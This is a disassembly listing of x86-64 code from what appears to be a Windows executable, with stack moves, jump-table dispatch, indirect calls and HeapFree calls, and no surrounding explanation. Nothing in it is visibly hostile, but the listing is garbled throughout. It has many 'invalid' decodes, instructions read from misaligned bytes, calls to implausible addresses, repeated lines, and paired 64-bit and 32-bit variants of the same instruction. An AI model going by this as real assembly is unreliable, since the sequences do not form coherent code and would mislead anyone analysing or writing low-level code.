lea rax, [rsp + 0x7e8]
test byte [rax + rbp*8], ah
invalid
add byte [rax], al
movdqu xmmword [rax], xmm0
mov byte [rsp + 0x7d0], bpl
mov byte [rsp + 0x7d1], 1
and al, 0xd1
invalid
add byte [rax], al
add dword [rcx + 0x7d4249c], ecx
add byte [rax], al
lea rax, [0x14013db38]
mov qword [rsp + 0x7d8], rax
mov qword [rsp + 0x7e0], 1
cmp bpl, 3
je 0x14009d704
and al, 0xd0
or eax, dword [rax]
add byte [rax - 0x73], cl
test byte [rax + rbp*8], ah
invalid
and al, 0xd1
invalid
movzx eax, bpl
cmp eax, 4
jne 0x14009e3cd
invalid
mov byte [rsp + 0x8e8], bpl
mov rdx, qword [rsp + 0x6a8]
cmp rdx, 2
jne 0x14009e420
jmp 0x14009e4c0
lea rdx, [rsp + 0x7e8]
mov rax, qword [rdx + 8]
or byte [rax - 0x73], cl
mov word [rcx + rbp*8], fs
or byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
movdqu xmm0, xmmword [rdx - 0x17]
movdqu xmm1, xmmword [rdx - 7]
or byte [rax - 0x73], cl
mov word [rcx + rbp*8], fs
or byte [rax], al
add byte [rax - 0x77], cl
invalid
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov byte [rsp + 0x8e8], bpl
mov rdx, qword [rsp + 0x6a8]
call 0x18809e409
mov edx, dword [rsp + 0x6a8]
cmp rdx, 2
je 0x14009e4c0
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x6b0]
mov rax, qword [rsp + 0x6b8]
test rdx, rdx
je 0x14009e447
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
push rax
adc byte [rax - 1], cl
retf 0x8348
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x6c0]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x6a8]
test byte [rax + rbp*4], ah
invalid
add byte [rax], al
cmp r8, 2
je 0x14009e4c0
test byte [rax + rbp*4], ah
invalid
mov rdx, qword [rsp + 0x6c0]
mov rcx, qword [rsp + 0x6b0]
mov rax, qword [rsp + 0x6b8]
test r8, r8
je 0x1400a1b57
mov r8, qword [rax + 0x10]
dec r8
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x6b0]
lock dec qword [rax]
jne 0x14009e4c0
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov rcx, qword [rsp + 0x6b0]
mov rdx, qword [rsp + 0x6b8]
call fcn.140005050
nop dword [rax]
mov rdx, qword [rdi + 0x380]
cmp rdx, 2
je 0x14009e4fd
mov rcx, qword [rdi + 0x388]
mov rax, qword [rdi + 0x390]
test rdx, rdx
je 0x14009e4f2
nop
add eax, dword [rax]
add byte [rax - 0x7b], cl
sal byte [rdx + rdx + 0x48], cl
mov edx, dword [rax + 0x10]
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0x578]
call qword [rax + 0x68]
movzx eax, byte [rsp + 0x8e8]
cmp eax, 3
add ecx, dword [rdi]
invalid
xchg byte [rcx], al
invalid
add ecx, dword [rdi]
test dword [rsi + 0x48000041], eax
mov eax, dword [rsp + 0x610]
mov rax, qword [rsp + 0x610]
mov qword [rsp + 0x8b0], rax
mov rax, qword [rsp + 0x4f0]
mov eax, dword [rsp + 0x4f0]
or byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x4f0]
mov qword [rsp + 0x8b8], rax
invalid
mov eax, dword [rsp + 0x4f0]
mov qword [rsp + 0x8b8], rax
movdqu xmm0, xmmword [rdi + 0x408]
movq mm0, qword [rdi + 0x408]
movq mm0, qword [rdi + 0x408]
add al, 0
add byte [rsi + 0xf], ah
invalid
paddq xmm0, xmm7
movdqu xmmword [rsp + 0x8d0], xmm0
mov byte [rsp + 0x8e0], 0
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x608]
mov qword [rsp + 0x8c0], rax
mov rax, qword [rsp + 0x4c8]
mov qword [rsp + 0x8c8], rax
mov dword [rsp + 0x8c8], eax
mov dword [rsp + 0x8c8], eax
mov qword [rsp + 0x580], 2
mov qword [rsp + 0x5a0], 0
cmp byte [rdi + 0x1c2], 0
jne 0x1400a1b00
add byte [rax + 0x1c1bf], al
add byte [rax], al
cmp byte [rdi + 0x1c1], 0
je case.0x140070c13.215
cmp byte [rdi + 0x1c0], 0
je 0x14009e600
mov edi, 0x1c0
add byte [rdx + rbx*2 + 0x48], dh
lea rcx, [rsp + 0x370]
lea ecx, [rsp + 0x370]
mov rdx, rdi
mov r8, r12
mov eax, esp
mov eax, esp
call fcn.1400f4cb0
cmp qword [rsp + 0x370], 0
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
mov esp, 0x37024
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x78
add eax, dword [rax]
add byte [rdi], cl
test dword [rax + 0x4c000033], esi
mov esp, dword [rsp + 0x380]
mov rbp, qword [rsp + 0x378]
jne 0x1400a1980
mov r12, qword [rsp + 0x380]
lea rax, [rsp + 0x380]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x1e0], xmm0
test rbp, rbp
test ebp, ebp
test ebp, ebp
jne 0x14009e651
jmp 0x1400a2548
push rax
invalid
lea rcx, [rsp + 0x370]
add byte [rax - 0x77], cl
cli
mov rdx, rdi
mov r8, r12
call fcn.1400f4cb0
add byte [rax - 0x7d], cl
mov esp, 0x37024
add byte [rax], al
add byte [rax - 0x7d], cl
mov esp, 0x37024
add byte [rax], al
mov rbp, qword [rsp + 0x378]
jne 0x1400a1980
mov r12, qword [rsp + 0x380]
lea rax, [rsp + 0x380]
test byte [rax + rax*4], ah
add eax, dword [rax]
add bl, dh
movq mm0, qword [rax + 8]
movdqa xmmword [rsp + 0x1e0], xmm0
test rbp, rbp
je 0x14009e84a
movaps xmm0, xmmword [rsp + 0x1e0]
add byte [rax], al
movaps xmmword [rsp + 0x7d0], xmm0
mov qword [rsp + 0x330], rbp
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x38
add eax, dword [rax]
add byte [rax], al
test byte [rax + rdx*8], ah
invalid
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x38
add eax, dword [rax]
add byte [rax], al
invalid
invalid
outsd dx, dword [rsi]
test byte [rax + rdx*8], ah
invalid
add byte [rax], al
movdqa xmm0, xmmword [rsp + 0x7d0]
movq mm0, qword [rsp + 0x7d0]
add byte [rax], al
lea rax, [rsp + 0x340]
add byte [rax], al
movdqu xmmword [rax], xmm0
movq qword [rax], mm0
mov r15, qword [rdi + 0x378]
mov edi, 0x378
mov qword [rsp + 0x1b8], 2
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax], al
add al, byte [rax]
invalid
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test byte [rax + rbx*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
mov qword [rsp + 0x1d8], 0
cmp r12, 5
jb 0x1400a2b02
add byte [rax], al
cld
add eax, 0x4453820f
add byte [rax], al
lea rdx, [r12 - 5]
sti
cmp rdx, 3
jbe 0x1400a2b16
movzx eax, byte [rbp + 3]
add ecx, dword [rax - 0x7d]
clc
or dword [rdi], ecx
xchg edx, eax
ret 2
add byte [rax - 0x73], cl
adc eax, 0xd96b9
cmp rax, 9
ja case.default.0x14009e6da
ret 2
invalid
ret 2
lea rdx, [0x140177d8c]
movsxd rcx, dword [rdx + rax*4]
or al, 0x82
add rcx, rdx
jmp rcx
xor ecx, ecx
mov ebx, dword [rbp + 5]
movzx esi, byte [rbp + 4]
jne 0x14009e6e9
jne 0x14009e6e9
mov rdx, qword [rsp + 0x350]
xchg esp, eax
and al, 0x50
push rax
add eax, dword [rax]
add byte [rbx + rcx*4 + 0x2a], cl
add byte [rax], al
mov r13, qword [rdx]
test cl, cl
jne case.0x140079503.174
cmp r13d, 2
je case.0x140079503.174
add byte [rax], al
invalid
add cl, byte [rdi]
test byte [rsi + 0x40000000], bh
add byte [rax], al
add byte [rax - 0x4b], al
invalid
add byte [rax], al
add byte [rax - 0x4b], al
or bh, byte [rax + 1]
mov bpl, 0xa
mov eax, 1
mov qword [rsp + 0x60], rax
xor eax, eax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
mov eax, 1
mov qword [rsp + 0x88], rax
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
mov byte [rax], al
add byte [rax], al
mov al, 1
invalid
invalid
invalid
mov al, 1
mov qword [rsp + 0x78], rax
and al, 0x78
and al, 0x78
mov al, 1
mov qword [rsp + 0x80], rax
lea rax, [0x1401157d0]
lea eax, [0x1401157d0]
lea eax, [0x1401157d0]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
xor eax, eax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x50], eax
xor r14d, r14d
mov dword [rsp + 0x3c], 0
cmp al, 0
add byte [rax], al
add byte [rax], al
cmp al, 0
add byte [rax], al
add byte [rax], al
mov r13, qword [rsp + 0x48]
add byte [rax], al
mov r13, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
lea r15, [rsp + 0x1e8]
mov r12, qword [rsp + 0x40]
mov r8, qword [rsp + 0x348]
add byte [rax], al
mov r8, qword [rsp + 0x348]
add rax, qword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rax - 0xfffffe5], edi
sbb eax, dword [rax]
add al, dh
add byte [rax], al
test r8b, 1
jne 0x1400a032e
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add al, dh
lock dec qword [r8 + 0x20]
dec qword [r8 + 0x20]
jne 0x1400a0356
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009e7aa
mov eax, dword [rax + 8]
mov rcx, qword [0x140182260]
or byte [rax - 0x75], cl
or eax, 0xe3ac3
xor edx, edx
mov rsi, r8
mov r8, rax
call rbx
mov r8, rsi
mov rcx, qword [0x140182260]
or eax, 0xe3aaf
or eax, 0xe3aaf
add byte [rcx], dh
sar bh, cl
shr ecx, cl
pushfq
sbb eax, dword [rax]
add byte [rsi + 0xf], ah
invalid
xor edx, edx
call rbx
jmp 0x1400a0356
and ebx, 0xffffff7f
mov r14d, ebx
fiadd word [rcx + 0xf]
invalid
movzx eax, al
lea rcx, [0x140177db4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
inc dword [rcx - 0x77]
fiadd word [rcx + 0xf]
invalid
mov r8d, 9
add byte [rax], al
lea rcx, [rsp + 0x370]
lea rdx, [rsp + 0x330]
call fcn.140012770
invalid
idiv edi
mov r8, qword [rsp + 0x388]
test r8b, 1
jne 0x14009ee49
invalid
invalid
add byte [rax], al
invalid
cmp eax, 0xf0000006
dec qword [r8 + 0x20]
invalid
invalid
lock dec qword [r8 + 0x20]
and byte [rbx + rcx*4 + 0x25], cl
and byte [rbx + rcx*4 + 0x25], cl
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
jne 0x14009ee75
add byte [rax], al
cmp rax, qword [rdi]
add byte [rdi], cl
test dword [rdi + 6], edx
add byte [rax], al
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
add byte [rdi], cl
invalid
invalid
invalid
add byte [rax], al
add byte [rdi], cl
test byte [0x18909e833], bh
mov eax, dword [rax + 8]
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r15, r8
invalid
mov r8, rax
mov eax, eax
invalid
invalid
mov eax, eax
call r12
mov r8, r15
jmp 0x14009ee69
mov byte [rdi + 0x1c1], 0
xchg ecx, eax
add dword [rax], eax
add byte [rax], al
mov r12, qword [rsp + 0x40]
nop word cs:[rax + rax]
mov rsi, qword [rdi + 0x1a8]
test al, 1
add byte [rax], al
cmp qword [rdi + 0x1b0], rsi
jne 0x14009e884
add dword [rax], eax
add byte [rbp + 0x14], dh
mov edx, 1
mov rcx, r12
call fcn.140012910
xchg ebx, eax
idiv edi
xchg ebx, eax
idiv edi
mov rsi, qword [rdi + 0x1a8]
add byte [rax - 0x7d], cl
invalid
cmp rsi, 0xffffffffffffffff
cmp esi, 0xffffffff
je 0x14009e973
add byte [rax - 0x75], cl
mov rbx, qword [rdi + 0x188]
lahf
mov byte [rcx], al
add byte [rax], al
mov r14, qword [rdi + 0x190]
mov rax, qword [rsp + 0x358]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbx*2], ah
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rax]
cmp rax, rsi
cmp eax, esi
mov eax, dword [rsp + 0x358]
add byte [rax], al
mov rax, qword [rax]
cmp rax, rsi
cmp eax, esi
cmp eax, esi
jne case.0x140095028.56
mov edx, 0x40
mov rcx, r12
add byte [rcx + rcx*4 - 0x1f], cl
loope 0x14009e89d
call fcn.140012910
push rdi
idiv edi
mov rsi, qword [rdi + 0x1a8]
mov rax, qword [rdi + 0x1b0]
mov al, 1
add byte [rax], al
mov al, 1
add byte [rax], al
sub rax, rsi
add rsi, qword [r12]
mov qword [rsp + 0x1e0], rsi
mov ah, 0x24
loopne case.0x140070c13.219
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rcx + 0xf], al
movups xmmword [rdi + 8], xmm6
mov qword [rsp + 0x1e8], rax
mov dword [rsp + 0x1e8], eax
movups xmmword [r15 + 8], xmm6
mov qword [rsp + 0x8e8], rsi
mov rcx, rbx
mov rdx, r13
invalid
lea r8, [rsp + 0x1e0]
call qword [r14 + 0x18]
push rsi
sbb byte [rax - 0x7b], cl
ror byte [rdi], 0x85
invalid
xor al, byte [rax]
invalid
and al, 0xe0
add dword [rax], eax
add byte [rcx - 1], al
push rsi
sbb byte [rax - 0x7b], cl
ror byte [rdi], 0x85
sbb eax, 0x48000032
mov ebp, edx
invalid
mov rbp, rdx
invalid
test rdx, rdx
jne 0x1400a1980
outsb dx, byte [rsi]
xor byte [rax], al
invalid
ror byte [rdi], cl
test dword [rsi + 0x30], ebp
outsb dx, byte [rsi]
xor byte [rax], al
invalid
mov rdx, qword [rsp + 0x1e8]
mov edx, dword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f0]
mov ecx, dword [rsp + 0x1f0]
lock add dword [rax], eax
add byte [rax + 0x39], cl
invalid
cmp rcx, rdx
cmp ecx, edx
ror dword [rdi], 1
xchg dword [rax + 0x48000041], ebx
add byte [rax - 0x75], cl
test byte [rax + riz*8], ah
add dword [rax], eax
invalid
ja 0x1400a2ac3
add byte [rax - 0x75], cl
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
invalid
test byte [rax + rbp*4], ah
invalid
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x6a8], rax
cmp rsi, rax
jne 0x1400a2acf
mov eax, dword [rcx]
invalid
mov eax, dword [rcx]
add byte [rax], al
add byte [rax - 0x75], cl
xchg dword [rax + 0x48000001], ebp
add byte [rax + 1], cl
invalid
mov rax, qword [rdi + 0x1a8]
add rax, rcx
mov qword [rsp + 0x6a8], rax
cmp rax, qword [rdi + 0x1b0]
add dword [rax], eax
add byte [rdi], cl
xchg edx, edx
add byte [rax], al
mov qword [rdi + 0x1a8], rax
test rcx, rcx
add byte [rax - 0x7b], cl
leave
jne 0x1400a196d
mov al, 1
cmp byte [rdi + 0x1c0], 0
add dword [rax + 0x1c0bf], eax
add byte [rax], al
je 0x1400a17df
test byte [rbp + 0x2e], bl
add byte [rax], al
pop rbp
add byte cs:[rax], al
jmp 0x1400a1b3d
mov cl, 1
jmp 0x14009e6de
push rax
std
invalid
invalid
push rax
std
invalid
xor ecx, ecx
mov al, 0xa
jmp 0x14009e6de
cmp r12, 8
jbe 0x1400a2e29
mov byte [rax + rax], al
mov byte [rax + rax], al
add byte [rax], r8b
add byte [rax], al
mov r9b, 0xa
test ebx, ebx
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
je 0x14009f193
and al, 0xe8
add dword [rax], eax
add byte [rdi], cl
test dl, bl
invalid
mov eax, 1
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x60], eax
mov al, 1
mov qword [rsp + 0x80], rax
mov eax, 1
mov qword [rsp + 0x88], rax
test byte [rax + rcx*4], ah
add byte [rax], al
invalid
test byte [rax + rcx*4], ah
add byte [rax], al
add bh, al
mov dword [rsp + 0x3c], 0
mov dword [rsp + 0x3c], 0
xor eax, eax
mov qword [rsp + 0x50], rax
push rax
xor eax, eax
mov qword [rsp + 0x68], rax
lea rax, [0x1401157d0]
lea eax, [0x1401157d0]
push 0xffffffffd9058d48
lea eax, [0x1401157d0]
insd dword [rdi], dx
invalid
mov qword [rsp + 0x58], rax
pop rax
mov al, 1
mov qword [rsp + 0x78], rax
xor eax, eax
rol bh, 0x84
and al, 0x94
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 + 0x64], cl
mov esp, dword [rsp + 0x40]
rol bh, 0x84
and al, 0x94
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 + 0x64], cl
mov esp, dword [rsp + 0x40]
mov esp, dword [rsp + 0x40]
jmp 0x1400a0316
add byte [rax], al
mov rax, qword [rsp + 0x350]
mov qword [rax], 2
mov byte [rsp + 0x188], 0xa
and al, 0x88
add dword [rax], eax
add byte [rdx], cl
test byte [rax + rcx*4], ah
add dword [rax], eax
add byte [rdx], cl
cmp r13d, 2
jne 0x14009eda5
xor esi, esi
mov r11d, 1
add byte [rax], al
mov r9d, 1
mov bl, 1
mov r10b, 1
lea r14, [0x1401157d0]
lea esi, [0x1401157d0]
lea esi, [0x1401157d0]
xor eax, eax
mov qword [rsp + 0x50], rax
xor eax, eax
xor r8d, r8d
xor eax, eax
xor eax, eax
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
jmp 0x14009f5fc
mov word [rbx], cs
add byte [rax], al
mov word [rbx], cs
add byte [rax], al
add byte [rax + 0x44894801], dh
and al, 0x78
mov al, 1
mov qword [rsp + 0x78], rax
mov eax, 1
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
and al, 0x60
mov r9b, 0xa
mov cl, 0xa
test ebx, ebx
je 0x14009f0db
cmp r12, 8
cmp esp, 8
or byte [rbx + rcx*4 + 0x6c], cl
and al, 0x48
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
jbe 0x1400a2ec0
add byte [rax], al
add byte [rax], al
cmp r12, 0xe
je case.0x1400dc119.301
invalid
mov dword [rsp + 0x3c], 0
add byte [rax], al
add byte [rax], al
xor eax, eax
mov qword [rsp + 0x50], rax
xor eax, eax
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
mov eax, 1
mov qword [rsp + 0x88], rax
lea rax, [0x1401157d0]
lea eax, [0x1401157d0]
lea eax, [0x1401157d0]
mov qword [rsp + 0x58], rax
mov al, 1
mov qword [rsp + 0x80], rax
and al, 0x80
add byte [rax], al
add cl, ch
in al, 5
invalid
add byte [rax], al
and al, 0x80
add byte [rax], al
add cl, ch
in al, 5
invalid
add byte [rax], al
cmp r12, 8
jbe 0x1400a2e3d
cmp r12, 0xd
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
and al, 0xe8
add dword [rax], eax
invalid
or eax, 0x246c8b4c
lea r15, [rsp + 0x1e8]
and al, 0xe8
add dword [rax], eax
invalid
and al, 0xe8
add dword [rax], eax
add byte [rdi], cl
test byte [rdx], ah
invalid
je 0x14009f22e
mov al, 1
mov qword [rsp + 0x80], rax
mov eax, 1
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x3c], 0
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
mov r9b, 0xa
jmp 0x14009f0ae
invalid
add byte [rcx - 0x7d], cl
cld
or byte [rdi], cl
xchg byte [rsi], bl
add byte [r8], al
cmp r12, 8
jbe 0x1400a2e65
lea rax, [r12 - 9]
cmp rax, 8
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
jae 0x14009f00d
mov ecx, dword [rsp + 0x4fc]
mov eax, ecx
and eax, 0xffff0000
or eax, 0x101
shr ecx, 0x10
mov dword [rsp + 0x94], ecx
mov cl, 1
mov qword [rsp + 0x80], rcx
mov ecx, 1
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rcx*4], fs
add byte [rax], al
add bh, al
and al, 0x3c
add byte [rax], al
add byte [rax], al
mov word [rax + rcx*4], fs
and al, 0x88
add byte [rax], al
add bh, al
and al, 0x3c
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 1], bh
add byte [rax], al
invalid
mov ecx, 1
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rcx
mov r9b, 0xa
mov dword [rsp + 0x4fc], eax
add byte [rax], al
add byte [rax], al
jmp 0x14009f0ae
mov r8d, 9
lea rcx, [rsp + 0x370]
and al, 0x70
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
add eax, dword [rax]
add al, ch
popfq
cmp esi, edi
dec dword [rbx + rcx*4 - 0x7c]
and al, 0x88
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rax], eax
add eax, dword [rax]
invalid
and al, 0x70
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
add eax, dword [rax]
add al, ch
popfq
cmp esi, edi
dec dword [rbx + rcx*4 - 0x7c]
and al, 0x88
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rax], eax
add eax, dword [rax]
add al, dh
lock dec qword [r8 + 0x20]
dec qword [r8 + 0x20]
mov r12, qword [rsp + 0x40]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jne 0x14009ef16
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14009ef0a
add byte [rbx], al
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add eax, dword [rax]
add byte [rcx - 0x75], cl
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
or byte [rax - 0x75], cl
or eax, 0xe364b
xor edx, edx
mov r12, r8
mov r8, rax
rol byte [rcx - 1], 0xd5
rol byte [rcx - 1], 0xd5
mov r8, r12
mov r12, qword [rsp + 0x40]
and al, 0x40
jmp 0x14009ef0a
jmp 0x14009ef0a
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
mov r8d, 9
lea rcx, [rsp + 0x370]
lea rdx, [rsp + 0x330]
call fcn.140012770
invalid
and al, 0x70
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
add eax, dword [rax]
add al, ch
sub byte [rbx], bh
idiv edi
invalid
mov r8, qword [rsp + 0x388]
test r8b, 1
jne 0x14009ef9f
add eax, dword [rax]
add al, dh
dec qword [r8 + 0x20]
lock dec qword [r8 + 0x20]
jne 0x14009efcb
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009efbf
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov r8, rax
call r13
mov r8, r12
jmp 0x14009efbf
add byte [rax], al
cmp r12, 8
jbe 0x1400a2e79
mov dword [rsp + 0x3c], 0
add byte [rax], al
add byte [rax], al
mov r9b, 0xa
test ebx, ebx
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
mov esp, 0x1e824
add byte [rdi], cl
test ebx, ecx
add eax, dword [rax]
invalid
mov esp, 0x1e824
and al, 0xe8
add dword [rax], eax
add byte [rdi], cl
test ebx, ecx
add eax, dword [rax]
add byte [rcx - 0x7d], cl
cld
adc dword [rdi], ecx
invalid
cmp r12, 0x11
jne 0x14009f08d
test ecx, eax
add eax, dword [rax]
add byte [rax - 0x75], cl
or dword [r8 - 0x80], r8d
out 1, al
mov rax, qword [rbp + 9]
and sil, 1
mov rcx, rax
shr rcx, 0x10
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], rax
add qword [rax], rax
add byte [rax - 0x3f], cl
call 0xc4933522
and al, 0x80
add byte [rax], al
add byte [rax + 0x44894801], dh
and al, 0x78
add qword [rax], rax
add byte [rax - 0x3f], cl
call 0xc4933522
and al, 0x80
add byte [rax], al
add byte [rax + 0x44894801], dh
and al, 0x78
mov bpl, 5
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x50], rax
mov byte [rsp + 0xc7], sil
mov qword [rsp + 0x60], rax
jmp 0x14009f27c
cmp r12, 8
jbe 0x1400a2e51
mov eax, 1
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x3c], 0
mov eax, 1
mov qword [rsp + 0x60], rax
mov r9b, 0xa
cmp r12, 0xd
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
je 0x14009f294
mov al, 1
mov qword [rsp + 0x80], rax
jmp 0x14009f0ae
mov r8d, 0x140
lea rcx, [rsp + 0x1e8]
mov rdx, qword [rsp + 0x4d8]
call fcn.140106250
mov qword [rsp + 0x1e0], r13
xor eax, eax
test r13, r13
sete al
cmp dword [rsp + rax*8 + 0x2f8], r14d
jne 0x14009f416
mov rbx, qword [rsp + 0x310]
test rbx, rbx
je 0x1400a0260
cmp byte [rsp + 0x2f0], 0
je 0x1400a08f5
lea rax, [rbx + r12]
cmp rax, r15
jbe 0x1400a08f5
mov al, 1
mov dword [rsp + 0xa0], eax
mov eax, 1
mov qword [rsp + 0xf8], rax
mov dword [rsp + 0x130], 0
lea rsi, [0x1401157d0]
xor ebp, ebp
xor ebx, ebx
xor r15d, r15d
mov dword [rsp + 0x128], 9
jmp 0x14009f450
shr r8, 5
neg r8
cmp qword [rsp + 0x380], r8
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009ee75
add r8, qword [rsp + 0x370]
mov rcx, qword [0x140182260]
xor edx, edx
call r12
mov r8, qword [rsp + 0x330]
mov r15, qword [rsp + 0x338]
mov rbp, qword [rsp + 0x348]
test bpl, 1
jne 0x14009ef58
mov qword [rsp + 0x108], r8
mov qword [rsp + 0x110], r15
mov qword [rsp + 0x118], rbp
lea rax, [0x14014ef30]
mov qword [rsp + 0x100], rax
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x80], rax
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
test ebx, ebx
jne 0x1400a0a05
jmp 0x1400a0a83
shr r8, 5
neg r8
cmp qword [rsp + 0x380], r8
mov r12, qword [rsp + 0x40]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009ef16
add r8, qword [rsp + 0x370]
mov rcx, qword [0x140182260]
xor edx, edx
call r13
movdqu xmm0, xmmword [rsp + 0x330]
movdqu xmm1, xmmword [rsp + 0x340]
movdqa xmmword [rsp + 0xe0], xmm1
movdqa xmmword [rsp + 0xd0], xmm0
test ebx, ebx
je 0x14009f12d
test sil, 8
jne 0x14009f30a
xor ebx, ebx
mov r13, qword [rsp + 0x48]
jmp 0x14009fa4f
mov r13, qword [rsp + 0x340]
shr rbp, 5
sub r8, rbp
lea r12, [r15 + rbp]
cmp r15, r13
jne 0x14009f4d5
test r12, r12
je 0x1400a02d0
test r8b, 1
mov r13, qword [rsp + 0x48]
mov rax, r8
jne 0x1400a09a7
shr r8, 5
neg r8
cmp qword [rsp + 0x380], r8
je 0x14009efcb
add r8, qword [rsp + 0x370]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
call r13
movdqu xmm0, xmmword [rsp + 0x330]
movdqu xmm1, xmmword [rsp + 0x340]
movdqa xmmword [rsp + 0xe0], xmm1
movdqa xmmword [rsp + 0xd0], xmm0
test ebx, ebx
mov r13, qword [rsp + 0x48]
je 0x14009f18b
test sil, 8
jne 0x14009f395
xor ebx, ebx
jmp 0x1400a00b7
mov r14d, dword [rbp + 9]
mov eax, 0xffffff7f
and r14d, eax
mov esi, dword [rbp + 0xd]
add r12, 0xffffffffffffffef
je 0x14009f70f
js 0x1400a2fc2
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r12
call fcn.1400dfbe0
test rax, rax
je 0x1400a2fb5
add rbp, 0x11
mov rcx, rax
mov rdx, rbp
mov r8, r12
mov rbx, rax
call fcn.140106250
mov r8, rbx
test r8b, 1
jne 0x14009f72d
mov eax, 1
mov qword [rsp + 0x60], rax
mov al, 1
mov qword [rsp + 0x80], rax
mov eax, 1
mov qword [rsp + 0x88], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor eax, eax
mov qword [rsp + 0x68], rax
lea rax, [0x1401157d0]
mov qword [rsp + 0x58], rax
mov al, 1
mov qword [rsp + 0x78], rax
xor eax, eax
mov r12, qword [rsp + 0x40]
jmp 0x1400a0316
mov dword [rsp + 0x3c], 0
xor eax, eax
mov qword [rsp + 0x50], rax
